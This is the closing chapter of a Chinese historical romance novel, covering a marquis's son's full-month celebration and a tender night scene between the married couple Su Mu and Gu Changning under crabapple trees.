驼铃声从街尾悠然而至,商队的骆驼载着皮毛、玉石与西域香料,蹄印踏过石板路发出滴答响声;路边摊贩支着油布棚,胡饼的麦香混着烤羊肉的焦香弥漫,掌柜的操着夹杂胡语的中原话吆喝,腰间弯刀随动作轻晃。 与街头的喧闹相映成趣的,是城东侯府的喜气洋洋。朱红大门敞开,门楣上高悬着鎏金“喜”字,两侧红灯笼垂至地面,随风轻摇。 府内青石板路铺着红毡,绕过栽满海棠树的庭院,正厅前的空地上摆满桌椅,宾客络绎不绝 丫鬟们提着食盒穿梭,端上酥酪、蜜饯与醇香的马奶酒,笑意盈盈地应答宾客;仆役们忙着清点贺礼,绫罗绸缎、奇珍异宝堆成小山,却不妨碍脸上的喜色漫溢。 正厅内,昭明侯身着锦袍,满面红光地接受众人道贺,时不时抚掌大笑;侯夫人抱着襁褓中的小世子,襁褓绣着百子千孙图,小家伙闭着眼酣睡,小脸红扑扑的,惹得前来探望的夫人们轻声赞叹。 “恭喜侯爷,小世子天庭饱满,日后定是栋梁之才!”“愿小世子平安康健,福气绵长!”贺喜声此起彼伏,混着厅外传来的丝竹管弦与孩童的嬉笑,将满月之喜推至顶峰。 庭院里的海棠花似被这份喜悦感染,开得愈发娇艳。 整座侯府,从屋瓦到墙角,从主人到仆从,无一处不浸着团圆的暖意与添丁的欢欣。 外头传来鞭炮声,苏木将乐呵呵的小世子抱给下人前去相迎,一出门就撞上了风尘仆仆的祝余和扬风。 二人携手恭贺,苏木将人迎着往里走。 “姐姐,你这动作比我都快,我成婚比你早,孩子却还在肚子里呢,看来我家孩子以后只能管小世子叫哥哥了。” 苏木笑呵呵地摸了摸祝余的肚子:“无碍无碍,你这也快了,到时候我要做她干娘。” 苏木拉着祝余说话,扬风则向顾长宁而去。 苏木拉过祝余,声音变小了许多:“听说芜衣不太好了,怎么回事?” 自五年前圣上登基后,顾长宁便被驱到了蜚楚州做了戍边镇守的将军,自此上京城与他们似乎再无关联。 诸多事情,他们知晓得总比别人晚些。 祝余有些不满:“姐姐还管她做什么,她那个时候以你的名义给老侯爷下那么恶毒的药,我觉得她死了也不可惜。” 苏木厉声呵斥她:“祝余!你这性子!和你说过多少次了,她是周家遗孤,自然要为周家做打算,那个时候她为当今圣上做事,许多事情都是被逼无奈。” 祝余撇撇嘴:“其实也没什么事,她总是忧愁不断,积郁在心,她自己想不通,谁也没办法。” 说到底,还是自己不肯放过自己。 苏木长叹一口气:“你回京后给她带句话,我不怪她,若是她还觉得对我有愧,那就好好活着慢慢赎罪。” 祝余还要说些什么,那边吉时已到,依旧招呼着入席了。 苏木牵着祝余往里去,又将小世子抱过来给祝余瞧了瞧。 祝余不想继续那个话,于是逗了逗襁褓里的小人儿:“他嘴巴眼睛像侯爷,眼睛和你如出一辙!” 苏木笑道:“幸好眼睛像我,顾长宁眼睛黑黢黢的,不合适。” 祝余被这话说的直乐,二人又说笑着什么,在席间一同坐了下来。 酒过三巡,场上热闹无限。 扬风被祝余指责着过去那些事还要给苏木敬酒,苏木无奈苦笑,扬风有些不服气了。 “那竹筒子信的确是我大胆,侯爷根本不知道,我不就是试探试探夫人吗,谁想到,哎!” 他灌下一大杯酒,豪气道:“夫人对不住了!” 苏木笑说无碍,扬风却在劲头上。 “不能只有我啊!”扬风拉起在他旁边默默喝闷酒的凌风:“他,凌风,他是侯爷安排在夫人身边的眼线,什么事情都报给侯爷,你也要罚酒!” 凌风眼底醉意融融,面上依旧不苟言笑。 顾长宁气笑了:“扬风,你就这样卖我呢?” 扬风立马打哈哈:“侯爷!这些事情大家都知道,这不是每岁必备流程嘛!来,凌风满上。” 说着就给凌风倒上了。 凌风和苏木对视上了一眼,他怔怔一笑,然后将酒饮用了个干净。 顾长宁似乎有些喝多,他对着凌风道:“不过凌风还是很不错的,我不在京的那段时日多亏了他护着她,还有之前,苏木说你曾救过她,本侯这杯敬你!” 凌风起身敬酒,苏木心中一跳。 幸好凌风没多说些什么。 至于稽查司那晚究竟是谁救了她,好像已经不重要了。 众人又在酒桌上将陈年旧账算了个遍,小世子困得不行,被奶娘带下去后就和他那早就喝的酩酊的阿翁宣德侯迷迷糊糊睡在一起,没再上来招呼客人。 顾长宁喝的酩酊大醉,苏木扶着人往内院而去。 院内有一株比上京城的侯府里更大的海棠树,顾长宁挣扎着脱开苏木桎梏着她的手臂,一屁股坐在了石墩子上面。 苏木哭笑不得:“刚开春呢,你不怕受凉,那你呆着吧。” 苏木装势要走,顾长宁一把将她扯进怀里。 一个重心不稳,二人皆滚落在满是露珠的草地上。 两人皆是大笑,苏木去挠顾长宁,顾长宁反手去挠她,二人扭做一团,不似勋贵讲究,倒似顽劣孩童乱窜。 二人气喘吁吁地停下,皆平躺着望天。 海棠花如云似霞,铺满了整个草地,微风吹过,花瓣在空气中轻轻飞舞时仿佛漫天星辰洒落。 苏木望着美景出神喃喃:“顾长宁,要在漠北种上海棠很难吧。” 顾长宁笑着喃喃:“不难。” “谢谢你。” 二人依偎在草地上,醉意未消,眼神迷离而又温柔。苏木发梢微湿紧靠在身后人的怀里。 顾长宁轻吻她的额顶,笑地发颤:“那你进屋再谢。” 他感受到了冷意,于是又抬手摸了摸地面,低声道:“地上有点凉。” 苏木点点头,脸颊有些绯红,嘴角勾起一抹淡笑:“是啊。” 她狡黠看他:“不过没关系。” 她的语气带着几分不羁的从容,假装自己不知道顾长宁说什么。 苏木一直自持自己体力尚好,直到真正瞧见了顾长宁的功夫… 她自愧不如。 昨夜才做过,她怕这会儿进去,明日她下不来床。 顾长宁抿嘴一笑,把她揉进怀里。 他忽然陷入了回忆,他低声说道:“这凉意,像是第一次躺在海边的时候。” 她眼中微微一闪,嘴角微微勾起,却没有说话,苏木等待他继续说下去。 顾长宁沉默片刻,随后轻轻一笑,似乎在打趣她:“记得那时候,咋俩说话都是刺人的刀子。” 这话一出口,苏木的脸颊立刻被染地更红,尽管她刻意压下了情绪,但仍难掩一丝羞愤:“你还说,那个时候你,你……我都不知道” 他见她脸红,不由得轻笑出声:“不知道什么?” “不知道”苏木轻轻撇嘴,“后面还说什么欠你三次,你这人。” 顾长宁被她的笑容所吸引,低头轻轻吻了吻她的额头:“那是因为我知道,我迟早都是你的。区区三次吻算什么。” …… 苏木有些失语:“你怎么现在嘴巴如此厉害。” 她垂下眼睑:“不过幸好,幸好还有机会。” 巫溪那次分别,但凡其中一人有了些许意外,那三次吻,那往后的往后……都没有了。 身后人察觉到了她的情绪。突然,顾长宁伸手搂住她的腰,轻轻把她拉起,和她相对而坐。他抵着她额头:“我们有大把的时间,苏木。” “那时候的我,心里充满忐忑,不知道往后会怎样。现在能和你坐在这里我很满足。过去不好的事情,我们不提了。” 苏木没有拒绝,她用明亮清润的眼眸看着身前人,伸手环住了他的脖颈,轻声问:“你后悔过吗?” “不是为了我的话,你肯定还在上京,而不是在漠北。” 他的目光柔和,嘴角微扬:“我后悔什么?为什么没有早点遇到你?” “要是早些遇见你,那我肯定和你去乡下种种菜也愿意。” 苏木闭眼感受他的温度。 顾长宁犹豫了一下问道:“其实我想问你,你后悔吗?你妹妹在东杳,她是你唯一的亲人,你还是不打算带她来这里吗?” 苏木长叹一口气,指尖把玩着顾长宁散落的头发:“她孩提时就伤了脑子,对从前的事情已经不记得了,对于她而言叶姑娘才是她的家人,他们现在在东杳城过的不错,天下大赦后,叶眷和谢辞桉,谢长盛也被赦免了流放,他们都会护着她。我再平白把人抢过来,不妥了,对于她来说,上京的一切已然是她的全部了。” 顾长宁把她抱的紧了几分,他在她耳边吹气,声音柔和:“那你想她吗?走之前你都未曾见到过她。” 苏木陷入遥远的距离:“见过的,走之前,城门口有个女子来送我。” 顾长宁一愣:“你之前不是说一直没见过她吗?怎知城门口的人是她?” 苏木一笑,然后往他怀里蹭了蹭:“见过的。” 她其实见过珏乐好几次了,是她没认出来她。在廊华街替他们二人解围的识瓷女子、在相府瞧见她唤谢辞桉哥哥、放火遁逃前所瞧叶眷身后的女子…… 她亏欠她很多。 把她留在身边会将这份亏欠变得更深,何必呢。 只要她知道她是快乐的,那就好了。 不把真相告诉珏乐就是好的吗。苏木不知道。但想起那日珏乐看向谢辞桉的眼神后,苏木觉得一切都不重要了。做姐姐的,这是她唯一能做的了。 “不过都不重要了,我希望她一直快乐下去,这样就好了。” 话音刚落,两人相视而笑,眼中闪烁着光芒。 顾长宁松开她,看着她,双掌捧着她。 “那我们木儿呢,也要一直开心,一直快乐。” 他们轻轻地贴近,彼此的唇重叠在一起。 缠绵悱恻,湿软相叠。 直到二人喘息阵阵,他们才笑着相拥在一起感受彼此的体温与心跳。月光如水洒下,草地上的碎花发出细碎的光芒。 顾长宁低声耳语,声音低沉而温柔:“你在我身边,我也会一直开心、快乐、幸福。” 他蹭她额头:“心逢属意,往事不追,来事不许。”然后嘴巴轻点对方眼睛。 “唯你而已。” 苏木微微闭上眼笑着。 她轻声回应:“我也是。” 苏木蹭蹭他的鼻尖:“顾长宁,我也是。” “只爱你。” 夜深了,风轻轻吹过,海棠花下,两人心影相贴,紧紧依偎。 海棠落尽归宁淡,时逢余生岁岁安。 ——全文完——《 》